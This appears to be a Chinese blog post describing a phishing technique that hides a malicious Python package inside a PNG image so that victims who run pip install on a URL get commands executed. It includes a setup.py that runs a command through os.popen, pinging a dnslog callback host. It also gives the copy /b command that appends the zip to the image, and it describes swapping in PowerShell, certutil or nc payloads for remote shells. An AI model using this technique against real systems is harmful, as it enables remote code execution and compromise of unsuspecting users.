记录一次即将出现的钓鱼新方式

钓鱼通常是内网渗透过程中的最为常见的入口方式,但是随着蓝队人员溯源反制思路开阔,入侵排查能力提升,钓鱼也越来越困难,这里就记一种不同寻常的钓鱼方式。

pip install 的执行流程:

  1. 先获取到远端的服务器地址 url 比如: http://mirrors.aliyun.com/pypi/simple/
  2. 然后获取到本地的库安装的路径,通过服务器 url 去查找对应的 django 包
  3. 讲找到的包下载到本地
  4. 解压该包到 python 的 site-packages 文件夹中,然后检查是否需要依赖其他包,如果依赖就安装其他的包
  5. 如果有依赖安装则按照同样的流程执行,待完成之后包就安装完成

这里可以看下 pip install 的执行过程

https://blog.csdn.net/qq_33339479/article/details/93094774

这里看下解压的代码,这里 down 下来解压代码如下

def unpack_file(
    filename: str,
    location: str,
    content_type: Optional[str] = None,
) -> None:
    filename = os.path.realpath(filename)
    if (
        content_type == "application/zip"
        or filename.lower().endswith(ZIP_EXTENSIONS)
        or zipfile.is_zipfile(filename)
    ):
        unzip_file(filename, location, flatten=not filename.endswith(".whl"))
    elif (
        content_type == "application/x-gzip"
        or tarfile.is_tarfile(filename)
        or filename.lower().endswith(TAREXTENSIONS + BZ2EXTENSIONS + XZ_EXTENSIONS)
    ):
        untar_file(filename, location)
    else:
        # FIXME: handle?
        # FIXME: magic signatures?
        logger.critical(
            "Cannot unpack file %s (downloaded from %s, content-type: %s);"
            "cannot detect archive format",
            filename,
            location,
            content_type,
        )
        raise InstallationError(f"Cannot determine archive format of {location}")

这里先判断了 content-type、filename 的后缀,这里两个都不符合,这里看下最后这个是如何进行判断。需要注意的是,iszipfile() 函数并不会检查文件的扩展名或者文件头等信息来判断文件类型,而是会尝试解压文件并检查解压结果来确定文件是否为 ZIP 压缩文件。因此,即使将非 ZIP 压缩格式的文件的扩展名改为 ".zip",仍然不能通过 iszipfile() 函数的检查。

pip install package_name.zip

这种方式下,pip 会在解压缩安装包后自动执行 setup.py 文件进行安装。在安装过程中,setup.py 文件将会根据包内的 setup.cfg 和 setup.py 文件内容来设置包的安装参数。

所以就导致了静默的命令执行

pip install 引发的命令执行

漏洞复现

(1)先写一段代码

from setuptools import setup
import os

def test():
    result = os.popen("ping 9uawvq.dnslog.cn")
    print(result.read())

test()

setup(
    name="root",
    version="1.0"
)

(2)把 setup.py 先放到一个任意文件夹中,然后再将文件夹压缩成 zip 文件,然后再将 zip 文件和 png 图片压缩成 png 图片。(具体命令如下)

(3)然后起一个 http 服务,下图就可以直接访问到。

(4)虚拟机(受害机)直接执行 pip install "http://172.211.55.3/dog2.png" 这里写的命令是 ping dnslog 地址。这里 dnslog 成功接收到。

引发的钓鱼:

假设是 windows 系统上钩,那么我们可以让他执行 powershell 或者 certutils 来进行远程下载并落地执行。这里还是用之前的方法写 powershell 不落地执行的投毒。

这里把 setup.py 改为上述的代码,然后放入到任意文件夹下,然后进行压缩成 1.zip 然后执行代码

copy /b dog.png+1.zip dog2.png

然后肉鸡执行 pip install "http://xxxxx/dog2.png" 即可成功上线。

直接上线 linux(简单实用 nc 命令)

这里修改 setup.py 为如下内容,然后按照复现步骤,将文件夹生成文件。

然后用 pip install "http://xxx/dog2.png" 即可成功上线。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值